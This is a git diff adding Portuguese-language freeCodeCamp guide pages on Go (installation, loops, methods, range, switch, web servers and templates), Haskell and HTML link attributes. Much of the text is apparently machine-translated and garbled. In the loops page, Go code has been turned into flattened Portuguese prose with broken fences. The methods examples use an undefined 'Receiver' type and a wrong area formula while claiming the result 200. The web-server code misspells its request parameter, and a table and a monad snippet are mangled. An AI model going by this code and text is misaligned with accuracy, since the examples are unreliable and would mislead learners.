+$ wget https://storage.googleapis.com/golang/go1.9.1.linux-386.tar.gz 
+ $ sudo tar -C /usr/local -xzf go1.9.1.linux-386.tar.gz 
+ $ export PATH=$PATH:/usr/local/go/bin 
+```
+
+#### Verifique a instalação e a versão do go
+
+Para verificar se foi instalado com sucesso, use:
+
+```sh
+$ go version 
+ > go version go1.9.1 linux/amd64 
+```
+
+Isso imprimirá no console a versão do go e, ao mesmo tempo, garantirá que a instalação corra bem.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/go/installing-go/windows-installer/index.md b/client/src/guide/portuguese/go/installing-go/windows-installer/index.md
new file mode 100644
index 0000000000..4ae4dc9806
--- /dev/null
+++ b/client/src/guide/portuguese/go/installing-go/windows-installer/index.md
@@ -0,0 +1,26 @@
+---
+title: Installing Go in Windows using the MSI Installer
+localeTitle: Instalando o Go no Windows usando o instalador MSI
+---
+### Instalando o Go no Windows usando o instalador MSI
+
+Na [página de download do golang](https://golang.org/dl/) , obtenha o instalador do Windows MSI e execute-o. Você terá que escolher entre as versões de 64 bits e 32 bits. Se você não sabe qual arquitetura sua versão do Windows está executando, basta fazer uma rápida pesquisa no Google para descobrir.
+
+> A maioria das versões atuais do Windows é de 64 bits, então você deve estar ok recebendo a versão de 64 bits na seção de downloads em destaque, mas se o seu computador é muito antigo, a versão de 32 bits deve ser a aposta mais segura.
+
+##### Instalador Windodows de 64 bits
+
+![screenshot of golang's download page as of this writting, highliting link](https://raw.githubusercontent.com/AlexandroPerez/resources/master/img/win_installerx64.jpg "x64 link do instalador do Windows msi")
+
+##### Instalador Windodows de 32 bits
+
+![screenshot of golang's download page as of this writting, highliting link](https://raw.githubusercontent.com/AlexandroPerez/resources/master/img/win_installerx86.jpg "Link do instalador do Windows msi x86")
+
+#### Verifique a instalação e a versão do go
+
+Para verificar se foi instalado com sucesso, abra seu prompt de comando e use:
+```
+> go version 
+```
+
+Isso deve imprimir no console a versão do go e, ao mesmo tempo, garantir que a instalação corra bem.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/go/loops/index.md b/client/src/guide/portuguese/go/loops/index.md
new file mode 100644
index 0000000000..3d06326f45
--- /dev/null
+++ b/client/src/guide/portuguese/go/loops/index.md
@@ -0,0 +1,53 @@
+---
+title: Loops
+localeTitle: rotações
+---
+# Para loop em Go
+
+Go tem apenas `for` loop. A base `for` circuito tem três componentes separados por `;` -
+
+*   a instrução **init** : executada antes da primeira iteração
+    
+*   a expressão de **condição** : avaliada antes de cada iteração
+    
+*   o **post** statement: executado no final de cada iteração
+    
+
+A instrução **init** é geralmente uma declaração de variável curta. As variáveis ​​declaradas são visíveis apenas no escopo da instrução `for` . O loop pára de iterar quando a condição booleana é avaliada como falsa.
+
+Um exemplo da `for` ciclo é dada abaixo -
+
+**for.go**
+
+```go
+package main 
+ 
+ import "fmt" 
+ 
+ func main() { 
+    sum := 0 
+    for i := 0; i <= 10; i++ { 
+        sum += i 
+    } 
+    fmt.Println("The sum of first 10 natural numbers is", sum) 
+ } 
+```
+
+Executar o programa acima produz uma saída semelhante à seguinte saída - \`\` \`  
+$ go run for.go A soma dos primeiros 10 números naturais é de 55
+```
+You can use `continue` and `break` to adjust the loops flow 
+```
+
+ir // este código imprime qualquer número ímpar até 5 para n: = 0; n <= 10; n ++ { if n% 2 == 0 { // se o número for até pular para o próximo n continuar } fmt.Println (n) // se o número for 5, saia do loop se n == 5 { pausa } }
+```
+If you want to create an infinite loop just use `for { }` 
+```
+
+ir para { // Até que uma condição interrompa o loop quebrar // sair do loop }
+```
+## Replacement for while-loop 
+ To simulate while-loop of other languages, you can simply exclude the **init** and **post** statement: 
+```
+
+ir func main () { num: = 1 para num <= 1000 { num \* = 2 } fmt.Println ("O menor poder de 2 acima de 1000 é", num) } \`\` \`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/go/methods/index.md b/client/src/guide/portuguese/go/methods/index.md
new file mode 100644
index 0000000000..0eb75b1990
--- /dev/null
+++ b/client/src/guide/portuguese/go/methods/index.md
@@ -0,0 +1,72 @@
+---
+title: Go Methods
+localeTitle: Vá métodos
+---
## Vá métodos
+
+Tipos de Golang podem ter métodos. Um método é uma função com um argumento especial, o _receptor_ .
+
+```go
+type Rectangle struct { 
+  height, width int64 
+ } 
+ 
+ func (r Receiver) getArea() int64 { 
+  return r.height * r.height 
+ } 
+ 
+ r := Rectangle{10, 20} 
+ r.getArea() // 200 
+```
+
+Aqui, o tipo `Rectangle` tem um método chamado `getArea` que retorna a área do retângulo. O receptor aqui é `r` .
+
+Este código é equivalente a:
+
+```go
+type Rectangle struct { 
+  height, width int64 
+ } 
+ 
+ func getArea(r Receiver) int 64{ 
+  return r.height * r.height 
+ } 
+ 
+ r := Rectangle{10, 20} 
+ getArea(r) // 200 
+```
+
+Agora, o método getArea recebe `r` como um argumento, em vez de um receptor. A funcionalidade é equivalente.
+
+### Receptor de ponteiro
+
+Você pode passar um ponteiro como um receptor:
+
+```go
+type MyInt int64 
+ 
+ func (m *MyInt) setToZero() { 
+  *m = MyInt(0) 
+ } 
+ 
+ m := MyInt(10) 
+ m.setToZero() // m == 0 
+```
+
+### Métodos de extensão
+
+Se você quiser criar um método em um tipo definido em outro pacote, por exemplo, `int` você pode usar um simples invólucro como este:
+
+```go
+type MyInt int64 
+ 
+ func (m MyInt) add10() int64 { 
+  return m + 10 
+ } 
+ 
+ m := MyInt(10) 
+ m.add10() // 20 
+```
+
+#### Mais Informações:
+
+https://tour.golang.org/methods/1
\ No newline at end of file
diff --git a/client/src/guide/portuguese/go/range/index.md b/client/src/guide/portuguese/go/range/index.md
new file mode 100644
index 0000000000..e88ebeae8e
--- /dev/null
+++ b/client/src/guide/portuguese/go/range/index.md
@@ -0,0 +1,63 @@
+---
+title: Range
+localeTitle: Alcance
+---
+## Alcance
+
+Para iterar uma coleção no Go, podemos usar o intervalo.
+
+Intervalo difere de for-loops como o item em uma coleção não é acessado por um índice.
+
+Se você quiser acessar um elemento específico em uma coleção, um loop for provavelmente as melhores opções.
+
+Aqui está um exemplo:
+
+```go
+package main 
+ 
+ import "fmt" 
+ 
+ func main() { 
+  fruits := []string{"apple", "orange", "pear"} 
+ 
+  for _, fruit := range fruits { 
+    fmt.Println(fruit) 
+   } 
+ } 
+```
+
+Saída:
+```
+apple 
+ orange 
+ pear 
+```
+
+Você deve ter notado o identificador em branco que foi usado.
+
+O identificador em branco (ou a primeira variável retornada do intervalo) é o índice do item.
+
+Isso é mais adequado quando você percorre um mapa, para obter a chave e o valor:
+
+```go
+package main 
+ 
+ import "fmt" 
+ 
+ func main() { 
+    kvs := map[string]string{"a": "apple", "b": "banana"} 
+    for k, v := range kvs { 
+        fmt.Printf("%s -> %s\n", k, v) 
+ 
+   } 
+ } 
+```
+
+ir
+
+Saídas:
+```
+a -> apple 
+ b -> banana 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/go/receive-data-with-your-webserver/index.md b/client/src/guide/portuguese/go/receive-data-with-your-webserver/index.md
new file mode 100644
index 0000000000..8972bea44e
--- /dev/null
+++ b/client/src/guide/portuguese/go/receive-data-with-your-webserver/index.md
@@ -0,0 +1,65 @@
+---
+title: Receive data with your web server
+localeTitle: Receba dados com seu servidor da web
+---
Depois de configurar seu servidor da web e garantir que ele possa exibir algum conteúdo útil, convém torná-lo mais interativo, permitindo que ele aceite dados. Vamos começar escrevendo um código:
+
+```go
+package main 
+ 
+ import ( 
+  "net/http" 
+  "html/template" 
+ ) 
+ 
+ type PAGE struct { 
+  NAME string 
+ } 
+ 
+ var page PAGE 
+ 
+ func main() { 
+  http.HandleFunc("/", servePage) 
+  http.ListenAndServe(":8080", nil) 
+ } 
+ 
+ func servePage(writer http.ResponseWriter, reqest *http.Request) { 
+  page.NAME = request.FormValue("name") 
+  template := template.New("sayHello") 
+  template, _ = template.Parse("Hello {{.NAME}}!") 
+  template.Execute(writer, page) 
+ } 
+```
+
+Vamos quebrar esse código. Primeiramente, começamos importando `net/http` para o servidor web e `html/template` para o modelo. Este artigo pressupõe que você já saiba como criar um modelo no Go. Se você ainda não sabe, leia primeiro o artigo sobre o modelo.
+
+Então criamos um tipo chamado `PAGE` , com um slot chamado `NAME` (isso é uma `string` ). Também criamos uma variável global chamada `page` que é do tipo `PAGE` : a estrutura que acabamos de criar.
+
+Na função `servePage` , há uma coisa realmente importante para este artigo: o método `FormValue` que executamos na `request` .
+
+Antes de continuar, primeiro você precisa saber como um `URL` é criado. Vamos pegar o seguinte `URL` como um exemplo:
+```
+https://google.com/search?q=free+code+camp 
+```
+
+Se você inserir o `URL` acima no seu navegador, ele realizará uma pesquisa no Google por `free code camp` . O `URL` é construído assim:
+
+1.  `https://` - este é o protocolo
+2.  `google.com` - este é o nome de domínio e porta (neste caso não há porta mencionada - então o navegador usa a porta padrão para o protocolo)
+3.  `/search` - este é o caminho
+4.  `q=free+code+camp` - esta é a `query`
+
+A consulta é a parte sobre a qual falamos neste artigo. O servidor do Google vê esse `URL` e, por causa do atributo `q` na consulta e do valor de `q` - nesse caso, `free+code+camp` - ele sabe onde deve procurar.
+
+Também podemos aplicar isso ao nosso servidor. Vamos acionar o programa e navegar no navegador para:
+```
+http://localhost:8080/?name=world 
+```
+
+A resposta será:
+```
+Hello world! 
+```
+
+Como é que isso funciona? Bem, nós demos ao `FormValue` um parâmetro de `name` . Desta forma, `FormValue` sabe que queremos o valor do atributo `name` na consulta. Neste caso, isso é `world` , então o método retorna ao `world` . Essa sequência é então colocada na variável de `page` e o modelo faz o resto.
+
+Esta é, obviamente, uma implementação realmente simples dessa função, mas você pode fazer muitas coisas com ela. Por exemplo: você pode aceitar endereços de e-mail e deixar o programa armazená-los em um arquivo.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/go/structs/index.md b/client/src/guide/portuguese/go/structs/index.md
new file mode 100644
index 0000000000..b513a4cb91
--- /dev/null
+++ b/client/src/guide/portuguese/go/structs/index.md
@@ -0,0 +1,11 @@
+---
+title: Go Structs
+localeTitle: Ir estruturas
+---
+## Ir estruturas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/go/structs/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/go/switch/index.md b/client/src/guide/portuguese/go/switch/index.md
new file mode 100644
index 0000000000..f43084f0e3
--- /dev/null
+++ b/client/src/guide/portuguese/go/switch/index.md
@@ -0,0 +1,134 @@
+---
+title: Switch in Go
+localeTitle: Mudar em Go
+---
# Mudar em Go
+
+A instrução switch do Go é uma alternativa para `if` . Ele usa a seguinte sintaxe:
+
+```go
+fruit := "apple" 
+ switch fruit { 
+    case "banana": 
+        fmt.Printf("Yellow and long.") 
+    case "apple": 
+        fmt.Printf("Red and round.") 
+    case "lemon": 
+        fmt.Printf("Yellow and round.") 
+ } 
+```
+
+A saída deste programa seria `Red and round.` .
+
+Primeiro, declaramos a variável `fruit` como `apple` . Em seguida, usamos a variável `fruit` como expressão de condição. Go compara o valor da `fruit` com os `cases` fornecidos assim:
+
+*   fruta == "banana" (falso)
+*   fruta == "maçã" (verdadeiro)
+
+Observe que o `lemon` não foi testado. Depois que uma avaliação retorna true, nenhum outro caso é tentado.
+
+Como com `if` , você pode declarar variáveis ​​temporárias na expressão de condição do switch:
+
+```go
+switch fruit := "apple"; fruit { 
+    case "banana": 
+        fmt.Printf("Yellow and long.") 
+    case "apple": 
+        fmt.Printf("Red and round.") 
+    case "lemon": 
+        fmt.Printf("Yellow and round.") 
+ } 
+```
+
+A variável `fruit` não estará acessível fora da instrução switch.
+
+## Default e outros casos
+
+### Padrão
+
+A palavra-chave `default` é o caso fallback quando nenhum outro caso retorna true:
+
+```go
+switch fruit := "grape"; fruit { 
+    case "banana": 
+        fmt.Printf("Yellow and long.") 
+    case "apple": 
+        fmt.Printf("Red and round.") 
+    case "lemon": 
+        fmt.Printf("Yellow and round.") 
+    default: 
+        fmt.Printf("New fruit: %s!", fruit) 
+ } 
+```
+
+A saída deste programa seria `New fruit: grape!` .
+
+### Mesma ação para valores diferentes
+
+Uma lista de valores separados por vírgula para comparar o valor da expressão de condição com a mesma ação.
+
+```go
+switch fruit := "lemon"; fruit { 
+    case "banana", "lemon": 
+        fmt.Printf("Yellow fruit.") 
+    default: 
+        fmt.Printf("This fruit is a color different than yellow.") 
+ } 
+```
+
+Saída: `Yellow fruit.` .
+
+### Nenhuma expressão
+
+Um switch sem expressão significa `switch true` . Esta é uma versão alternativa para uma cadeia else-if.
+
+```go
+fruit := "banana" 
+ switch { 
+    case fruit == "banana": 
+        fmt.Printf("Yellow and long.") 
+    default: 
+        fmt.Printf("This is not a banana.") 
+ } 
+```
+
+Isso avalia `true == (fruit == "banana")` , simpliefied para `true == true` , que retorna true.
+
+### Pausa
+
+Você pode quebrar o código em uma instrução switch para pular qualquer outro código.
+
+```go
+appleColor := "green" 
+ switch fruit := "apple"; fruit { 
+    case "banana": 
+        fmt.Printf("Yellow and long.") 
+    case "apple": 
+        if appleColor == "green" { 
+            fmt.Printf("This apple is green!") 
+            break 
+        } 
+        fmt.Printf("This apple is tasty!") 
+    case "lemon": 
+        fmt.Printf("Yellow and round.") 
+ } 
+```
+
+Saída: `This apple is green!` .
+
+### Cair em
+
+Pule para o próximo caso, independentemente de sua condição ser avaliada como verdadeira.
+
+```go
+switch fruit := "banana"; fruit { 
+    case "banana": 
+        fmt.Printf("Yellow and long.") 
+        fallthrough 
+    case "apple": 
+        fmt.Printf("Red and round.") 
+    case "lemon": 
+        fmt.Printf("Yellow and round.") 
+ } 
+```
+
+Saída: `Yellow and long.` E `Red and round.` .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/go/the-zero-value/index.md b/client/src/guide/portuguese/go/the-zero-value/index.md
new file mode 100644
index 0000000000..a05522779f
--- /dev/null
+++ b/client/src/guide/portuguese/go/the-zero-value/index.md
@@ -0,0 +1,30 @@
+---
+title: The Zero Value
+localeTitle: O valor zero
+---
+## O valor zero
+
+Entendendo alguns valores zero dentro de Golang:
+
+1.  falso para booleanos
+2.  0 para inteiros
+3.  0,0 para carros alegóricos
+4.  "" para strings
+5.  nil para
+
+*   ponteiros
+*   funções
+*   interfaces
+*   fatias
+*   canais
+*   mapas
+
+Por favor, use o operador de declaração curto, tanto quanto possível.
+
+*   Use var para:
+    
+*   valor zero
+    
+*   escopo do pacote
+    
+    ### Mais Informações
\ No newline at end of file
diff --git a/client/src/guide/portuguese/go/use-templates-with-your-webserver/index.md b/client/src/guide/portuguese/go/use-templates-with-your-webserver/index.md
new file mode 100644
index 0000000000..16cf7eea6a
--- /dev/null
+++ b/client/src/guide/portuguese/go/use-templates-with-your-webserver/index.md
@@ -0,0 +1,71 @@
+---
+title: Using templates with your web server
+localeTitle: Usando modelos com seu servidor da web
+---
Quando você tem um servidor da Web, talvez queira inserir dados em suas respostas. Vamos ver algum código:
+
+```go
+package main 
+ 
+ import ( 
+  "net/http" 
+  "html/template" 
+ ) 
+ 
+ type PAGE struct { 
+  NAME string 
+ } 
+ 
+ var page PAGE 
+ 
+ func main() { 
+  page.NAME = "Mark" 
+  http.HandleFunc("/", servePage) 
+  http.ListenAndServe(":8080", nil) 
+ } 
+ 
+ func servePage(writer http.ResponseWriter, reqest *http.Request) { 
+  template := template.New("sayHello") 
+  template, _ = template.Parse("Hello {{.NAME}}!") 
+  template.Execute(writer, page) 
+ } 
+```
+
+Agora inicie este programa e navegue em seu navegador para:
+```
+http://localhost:8080/ 
+```
+
+A resposta será:
+```
+Hello Mark! 
+```
+
+Mas como isso funciona e o que o código faz? Bem, em primeiro lugar, importamos o pacote `net/http` para que possamos executar um servidor web. Em seguida, importamos o pacote `html/template` . Isso habilita um recurso chamado de template; e é aí que este artigo é sobre.
+
+Também criamos um tipo chamado `PAGE` , que possui um campo chamado `NAME` como `string` tipo. Também criamos uma variável global chamada `page` do tipo `PAGE` , a estrutura que acabamos de criar. Na função `main` , damos ao campo `NAME` da `page` um valor de `Mark` - meu nome, mas fique à vontade para usar seu próprio nome!
+
+A função `servePage` é um pouco difícil no começo. Vamos desmontar:
+
+```go
+func servePage(writer http.ResponseWriter, reqest *http.Request) { 
+ 
+  // 1. Creating a template 
+  template := template.New("sayHello") 
+ 
+  // 2. Filling the template 
+  template, _ = template.Parse("Hello {{.NAME}}!") 
+ 
+  // 3. Executing the template 
+  template.Execute(writer, page) 
+ } 
+```
+
+O que fazemos aqui? Vamos ver passo a passo:
+
+1.  Nós criamos um _modelo_ . Você precisa digitar um nome, mas não importa qual nome você escolher. Aqui eu escolhi dizer `sayHello` .
+2.  Em seguida, preenchemos o modelo com algum texto. Por favor, tome nota do `{{.NAME}}` .
+3.  Finalmente, nós _executamos_ o modelo. Isso significa que o modelo é preenchido e enviado ao cliente.
+
+Mas como vamos de `{{.NAME}}` para `Mark` ? Bem, lembre-se que usamos a variável de `page` como um parâmetro para o método `Execute` ? Este método analisa os dados no modelo e vê `{{.NAME}}` . O `.NAME` indica que ele deve procurar por um campo chamado `NAME` dentro da variável que foi especificada como um parâmetro quando `Execute` foi chamado. Nesse caso, ele encontra esse campo e toma nota de que o valor é `Mark` . O `{{` e `}}` estão dizendo `Execute` que ele deve substituir `{{.NAME}}` pelo valor encontrado. Então o resultado final se tornará `Hello Mark!` .
+
+Você pode ter vários campos e vários `{{.XXX}}` . Essa é uma maneira muito fácil de inserir dados em respostas e agora você sabe como modelar no Go!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/go/variadic-functions/index.md b/client/src/guide/portuguese/go/variadic-functions/index.md
new file mode 100644
index 0000000000..caa0f7ca0c
--- /dev/null
+++ b/client/src/guide/portuguese/go/variadic-functions/index.md
@@ -0,0 +1,62 @@
+---
+title: Variadic Functions
+localeTitle: Funções Variadic
+---
+## Funções Variadic
+
+Funções Variadic são funções que podem ser chamadas com qualquer número de argumentos à direita.
+
+Esse é um recurso útil quando estamos trabalhando em aplicativos da web.
+
+Às vezes, não temos quantos elementos precisaremos passar para o mecanismo de criação de templates em HTML.
+
+Aqui estão as noções básicas sobre como funcionam as funções varidicas:
+
+```go
+package main 
+ import "fmt" 
+ 
+ func printFruits(fruits ...string) { 
+    for _, fruit := range fruits{ 
+        fmt.Println(fruit) 
+    } 
+ } 
+ 
+ func main() { 
+   printFruits("apple", "bannana") 
+   printFruits("papaya", "coconut", "pear", "pineapple") 
+   berries := []string{"blueberry", "strawberry", "raspberry"} 
+   printFruits(berries...) 
+ } 
+```
+
+Primeiro, em printFruits nós definimos o número de argumentos com \[… string\].
+
+Isso informa ao Go que essa função aceita qualquer número de argumentos de string.
+
+As duas primeiras chamadas para printFruits mostram que a função imprimirá cada string, mesmo se passarmos um número diferente de argumentos.
+
+```text
+apple 
+ bannana 
+ ... 
+ papaya 
+ coconut 
+ pear 
+ ... 
+```
+
+Isso também funcionará para fatias.
+
+Para usar uma função vardiac com uma fatia, adicionamos os pontos de treinamento à chamada.
+
+```go
+printFruits(berries...) 
+```
+
+```text
+blueberry 
+ strawberry 
+ raspberry 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/groovy/index.md b/client/src/guide/portuguese/groovy/index.md
new file mode 100644
index 0000000000..e0dc261ac2
--- /dev/null
+++ b/client/src/guide/portuguese/groovy/index.md
@@ -0,0 +1,11 @@
+---
+title: Groovy
+localeTitle: Groovy
+---
+## Groovy
+
+O Apache Groovy ou Groovy é uma linguagem poderosa e dinâmica com recursos de compilação e digitação estática para a plataforma Java e foi projetada para aumentar a produtividade com sua sintaxe concisa e familiar. Integra-se com qualquer programa Java com facilidade.
+
+#### Mais Informações:
+
+Para documentação e mais informações, visite [o site oficial do Groovy](http://groovy-lang.org)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/haskell/hello-world/index.md b/client/src/guide/portuguese/haskell/hello-world/index.md
new file mode 100644
index 0000000000..daa45e55bb
--- /dev/null
+++ b/client/src/guide/portuguese/haskell/hello-world/index.md
@@ -0,0 +1,25 @@
+---
+title: Hello World Program
+localeTitle: Programa Hello World
+---
+## O mais simples programa Hello World em Haskell
+
+```haskell
+main :: IO () 
+ main = do 
+    putStrLn "Hello World" 
+```
+
+## Hello World usando a composição da função
+
+```haskell
+hello :: String 
+ hello = "Hello World" 
+ 
+ printer :: String -> IO () 
+ printer = putStrLn . show 
+ 
+ main :: IO () 
+ main = printer hello 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/haskell/index.md b/client/src/guide/portuguese/haskell/index.md
new file mode 100644
index 0000000000..bc543b5b17
--- /dev/null
+++ b/client/src/guide/portuguese/haskell/index.md
@@ -0,0 +1,53 @@
+---
+title: Haskell
+localeTitle: Haskell
+---
+## O que é o Haskell?
+
+Haskell é uma linguagem de programação padronizada, de uso geral e puramente funcional, com tipagem estática declarativa e forte.
+
+Haskell tem raízes profundas na matemática, e você logo aprenderá a apreciar as implicações disso.
+
+## Versão
+
+Atualmente a versão mais recente do GHC é 8.6 (em 12 de outubro de 2018)
+
+## Instalação
+
+A maneira recomendada de instalar o Haskell é usando stack: [stack download](https://docs.haskellstack.org/en/stable/README/#how-to-install) Stack é um programa multi-plataforma para o desenvolvimento de projetos Haskell. Destina-se a Haskellers novos e experientes.
+
+Para realmente começar a usar o Haskell, você precisa do GHC (The Glasgow Haskell Compiler), para configurar: [stack setup](https://docs.haskellstack.org/en/stable/README/#how-to-install://docs.haskellstack.org/en/stable/README/#quick-start-guide)
+
+```shell
+stack new my-project 
+ cd my-project 
+ stack setup 
+ stack build 
+ stack exec my-project-exe 
+```
+
+Uma palavra de cautela, tente não usar a instalação da pilha embora ele instale o pacote globalmente, isso não é recomendado, pois versões diferentes de pacotes são compatíveis com versões diferentes do GHC. Portanto, usar a cópia local do pacote usando a compilação da pilha é a melhor maneira de seguir.
+
+## Olá Mundo
+
+```haskell
+main :: IO () 
+ main = print "Hello Haskell :)" 
+```
+
+Salve o código acima em um arquivo chamado "hello.hs" e salve.
+
+Para compilar o exemplo Hello World, isso converterá nosso código haskell em bytecodes compreensíveis por máquina.
+
+```shell
+stack ghc hello.hs 
+ ./hello 
+```
+
+## Documentação
+
+O Hackage fornece documentação para o Haskell
+
+## Quer aprender mais?
+
+*   Haskell wiki [link](https://wiki.haskell.org/Haskell)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/haskell/misc/index.md b/client/src/guide/portuguese/haskell/misc/index.md
new file mode 100644
index 0000000000..123d30d2c0
--- /dev/null
+++ b/client/src/guide/portuguese/haskell/misc/index.md
@@ -0,0 +1,17 @@
+---
+title: miscellaneous
+localeTitle: Diversos
+---
+Quando você está um pouco confortável com o modo como Haskell trabalha você
+
+## hoogle
+
+É como o Google, mas para as bibliotecas da Haskell
+
+Para instalar o hoogle com pilha:
+
+```shell
+    stack build hoogle 
+```
+
+## lambda bot
\ No newline at end of file
diff --git a/client/src/guide/portuguese/haskell/monad/index.md b/client/src/guide/portuguese/haskell/monad/index.md
new file mode 100644
index 0000000000..e2242b526f
--- /dev/null
+++ b/client/src/guide/portuguese/haskell/monad/index.md
@@ -0,0 +1,25 @@
+---
+title: Monad
+localeTitle: Mônada
+---
+# Leis de Monad
+
+Existem 3 leis que devem ser satisfeitas por um tipo de dados para serem consideradas como mônadas
+
+# Talvez Mônada
+
+```haskell
+justHead :: Maybe Char 
+ justHead = do 
+    (x:xs) <- Just "" 
+    return x 
+```
+
+# Listar Monad
+
+retorno é o mesmo que puro de aplicativo
+
+instância Monad \[\] onde  
+return x = \[x\]  
+xs >> = f = concat (mapa f xs)  
+falhar \_ = \[\]
\ No newline at end of file
diff --git a/client/src/guide/portuguese/hibernate/index.md b/client/src/guide/portuguese/hibernate/index.md
new file mode 100644
index 0000000000..968d29528a
--- /dev/null
+++ b/client/src/guide/portuguese/hibernate/index.md
@@ -0,0 +1,11 @@
+---
+title: Hibernate
+localeTitle: Hibernar
+---
+## Hibernar
+
+O ORM do Hibernate, comumente conhecido como Hibernate, é uma ferramenta de mapeamento relacional de objetos para Java. Ele fornece um sistema para mapeamento de modelos de domínio orientados a objetos para bancos de dados relacionais. Possui várias funções de manipulação de objetos de alto nível.
+
+#### Mais Informações:
+
+Para documentação e downloads, visite [o site oficial do Hibernate](https://hibernate.org)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/attributes/a-href-attribute/index.md b/client/src/guide/portuguese/html/attributes/a-href-attribute/index.md
new file mode 100644
index 0000000000..e058205fe5
--- /dev/null
+++ b/client/src/guide/portuguese/html/attributes/a-href-attribute/index.md
@@ -0,0 +1,80 @@
+---
+title: A Href Attribute
+localeTitle: Um atributo Href
+---
+## Um atributo Href
+
+O atributo `<a href>` refere-se a um destino fornecido por um link. A `a` (âncora) tag é morto sem o `<href>` atributo. Às vezes, no seu fluxo de trabalho, você não deseja um link ativo ou ainda não saberá o destino do link. Nesse caso, é útil definir o atributo `href` como `"#"` para criar um link inativo. O atributo `href` pode ser usado para vincular a arquivos ou arquivos locais na Internet.
+
+Por exemplo:
+
+```html
+
+<html> 
+  <head> 
+    <title>Href Attribute Example</title> 
+  </head> 
+  <body> 
+    <h1>Href Attribute Example</h1> 
+      <p> 
+        <a href="https://www.freecodecamp.org/contribute/">The freeCodeCamp Contribution Page</a> shows you how and where you can contribute to freeCodeCamp's community and growth. 
+      </p> 
+    </h1> 
+  </body> 
+ </html> 
+```
+
+O atributo `<a href>` é suportado por todos os navegadores.
+
+#### Mais atributos:
+
+`hreflang` : especifica o idioma do recurso vinculado. `target` : especifica o contexto no qual o recurso vinculado será aberto. `title` : define o título de um link, que aparece para o usuário como uma dica de ferramenta.
+
+### Exemplos
+
+```html
+
+<a href="#">This is a dead link</a> 
+ <a href="https://www.freecodecamp.org">This is a live link to freeCodeCamp</a> 
+ <a href="https://html.com/attributes/a-href/">more with a href attribute</a> 
+```
+
+### Âncoras in-page
+
+Também é possível definir uma âncora para determinado local da página. Para fazer isso, você deve primeiro colocar uma guia no local na página com a tag e o atributo necessário "name" com qualquer descrição de palavra-chave, assim:
+
+```html
+
+<a name="top"></a> 
+```
+
+Qualquer descrição entre tags não é necessária. Depois disso, você pode colocar um link que leva a essa âncora em qualquer lugar na mesma página. Para fazer isso, você deve usar a tag com o atributo necessário "href" com o símbolo # (sharp) e a descrição da âncora de palavras-chave, assim:
+
+```html
+
+<a href="#top">Go to Top</a> 
+```
+
+### Links de Imagem
+
+O `<a href="#">` também pode ser aplicado a imagens e outros elementos HTML.
+
+### Exemplo
+
+```html
+
+<a href="#"><img itemprop="image" style="height: 90px;" src="http://www.chatbot.chat/assets/images/header-bg_y.jpg" alt="picture">  </a> 
+```
+
+### Exemplo
+
+[![cenário](http://www.chatbot.chat/assets/images/header-bg_y.jpg)](#)
+
+### Mais alguns exemplos de href
+
+```html
+
+<base href="https://www.freecodecamp.org/a-href/">This gives a base url for all further urls on the page</a> 
+ <link href="style.css">This is a live link to an external stylesheet</a> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/attributes/a-target-attribute/index.md b/client/src/guide/portuguese/html/attributes/a-target-attribute/index.md
new file mode 100644
index 0000000000..144a6fe9e4
--- /dev/null
+++ b/client/src/guide/portuguese/html/attributes/a-target-attribute/index.md
@@ -0,0 +1,53 @@
+---
+title: A Target Attribute
+localeTitle: Um atributo de destino
+---
+## Um atributo de destino
+
+A `<a target>` atributo especifica onde abrir o documento vinculado em uma `a` tag (âncora).
+
+#### Exemplos:
+
+Um atributo de destino com o valor de "\_blank" abre o documento vinculado em uma nova janela ou guia.
+
+```html
+
+    <a href="https://www.freecodecamp.org" target="_blank">freeCodeCamp</a> 
+```
+
+Um atributo de destino com o valor de "\_self" abre o documento vinculado no mesmo quadro em que foi clicado (esse é o padrão e geralmente não precisa ser especificado).
+
+```html
+
+    <a href="https://www.freecodecamp.org" target="_self">freeCodeCamp</a> 
+```
+
+```html
+
+    <a href="https://www.freecodecamp.org">freeCodeCamp</a> 
+```
+
+Um atributo de destino com o valor "\_parent" abre o documento vinculado no quadro pai.
+
+```html
+
+    <a href="https://www.freecodecamp.org" target="_parent">freeCodeCamp</a> 
+```
+
+Um atributo de destino com o valor de “\_top” abre o documento vinculado em todo o corpo da janela.
+
+```html
+
+    <a href="https://www.freecodecamp.org" target="_top">freeCodeCamp</a> 
+```
+
+Um atributo de destino com o valor de _"framename"_ Abre o documento vinculado em um quadro nomeado especificado.
+
+```html
+
+    <a href="https://www.freecodecamp.org" target="framename">freeCodeCamp</a> 
+```
+
+#### Mais Informações:
+
+Atributo de Destino: [w3schools](https://www.w3schools.com/tags/att_a_target.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/attributes/autofocus-attribute/index.md b/client/src/guide/portuguese/html/attributes/autofocus-attribute/index.md
new file mode 100644
index 0000000000..06688b6862
--- /dev/null
+++ b/client/src/guide/portuguese/html/attributes/autofocus-attribute/index.md
@@ -0,0 +1,35 @@
+---
+title: Autofocus Attribute
+localeTitle: Atributo de Focagem Automática
+---
+## Atributo de Focagem Automática | HTML5
+
+O atributo **autofocus** é um atributo booleano.
+
+Quando presente, especifica que o elemento deve receber automaticamente o foco de entrada quando a página for carregada.
+
+Apenas um elemento de formulário em um documento pode ter o atributo **autofocus** . Não pode ser aplicado a `<input type="hidden">` .
+
+### Aplica-se a
+
+| Elemento | Atributo | | : - | : - | | `<button>` | autofoco | | `<input>` | autofoco | | `<select>` | autofoco | | `<textarea>` | autofoco |
+
+### Exemplo
+
+```html
+
+<form> 
+    <input type="text" name="fname" autofocus> 
+    <input type="text" name="lname"> 
+ </form> 
+```
+
+### Compatibilidade
+
